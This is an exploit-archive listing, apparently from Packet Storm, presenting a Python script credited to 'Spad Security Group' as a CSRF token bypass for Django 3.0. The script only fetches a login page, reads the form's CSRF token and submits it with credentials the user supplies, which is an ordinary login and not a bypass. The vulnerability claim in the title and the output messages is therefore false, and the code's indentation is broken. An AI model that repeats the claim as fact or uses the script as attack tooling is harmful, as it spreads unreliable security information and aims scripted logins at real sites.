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Django 3.0 Cross Site Request Forgery

🗓️ 08 Apr 2020 00:00:00Reported by Spad Security GroupType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 133 Views

Django 3.0 Cross-Site Request Forgery Token Bypass by SpadSecurity Group using Python 3.8

Code
`# Exploit Title: Django 3.0 - Cross-Site Request Forgery Token Bypass  
# Date: 2020-04-08  
# Exploit Author: Spad Security Group  
# Vendor Homepage: https://www.djangoproject.com/  
# Software Link: https://pypi.org/project/Django/  
# Version: 3.0 =<  
# Tested on: windows 10  
# Language: python3.8  
  
# t.me/SpadSec  
# Spad Security Group  
  
  
from requests import Session  
import sys  
from bs4 import BeautifulSoup  
from time import sleep  
from colorama import Fore, Style  
from random import choice  
from os import name, system  
  
colors = [Fore.RED, Fore.BLUE, Fore.WHITE, Fore.GREEN, Fore.CYAN, Fore.YELLOW]  
  
  
def cleaner():  
if name == "nt":  
system("cls")  
else:  
system("clear")  
  
def logo_printer():  
cleaner()  
logo = r"""  
\_______/  
`.,-'\_____/`-.,'  
/`..'\ _ /`.,'\  
/ /`.,' `.,'\ \  
/__/__/ \__\__\__  
\ \ \ / / /  
\ \,'`._,'`./ /  
\,'`./___\,'`./  
,'`-./_____\,-'`.  
/ \  
"""  
_logo_enumer = 0  
for char in logo:  
sys.stdout.write(f"{choice(colors)}{char}{Style.RESET_ALL}")  
sys.stdout.flush()  
_logo_enumer +=1  
sleep(0.005)  
print(f"{colors[4]}DjangoCsrfMiddlewareToken bypass by SpadSecurity Group \n{colors[3]}\tt.me/SpadSec")  
  
class DjangoCsrfMiddleWareBypass:  
def __init__(self, url: str, username: str, password: str):  
self.url = url  
self.username = username  
self.password = password  
logo_printer()  
self.cookies = {}  
self.session = Session()  
self.bypass()  
  
def spad_printer(self, string):  
print("\n")  
for char in string:  
sys.stdout.write(char)  
sys.stdout.flush()  
sleep(0.05)  
  
def bypass(self):  
global colors  
_conn = self.session.get(self.url)  
self.spad_printer(f"{colors[5]}[{colors[0]}x{colors[5]}] {colors[4]}Target: {colors[3]}{self.url}")  
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Trying to bypass cookies ...")  
for key, value in _conn.cookies.items():  
self.cookies[key] = value  
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Bypassed Cookies ;)!")  
  
soup = BeautifulSoup(_conn.text, "lxml")  
csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']  
self.spad_printer(f"{colors[5]}[{colors[0]}~{colors[5]}] {colors[1]}Csrf-Token Found{Style.RESET_ALL}")  
  
login = self.session.post(self.url, data={'csrfmiddlewaretoken': csrf, 'username': self.username, 'password': self.password}, cookies=self.cookies)  
if len(login.history) >= 2:  
if login.history[1].is_redirect:  
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in")  
else:  
self.spad_printer("[-] Error")  
else:  
if login.history:  
if login.history[0].is_redirect:  
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in{Style.RESET_ALL}")  
for key, value in self.session.cookies.items():  
self.spad_printer(f"{colors[5]}[{colors[0]}!{colors[5]}] {colors[4]}{key} {colors[1]}-> {colors[4]}{value}{Style.RESET_ALL}")  
else:  
self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")  
else:  
self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")  
  
if __name__ == "__main__":  
try:  
url = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
DjangoCsrfMiddleWareBypass(url, username, password)  
except IndexError:  
logo_printer()  
for char in f"[!] python {sys.argv[0]} http://google.com username password":  
sys.stdout.write(char)  
sys.stdout.flush()  
sleep(0.05)  
`

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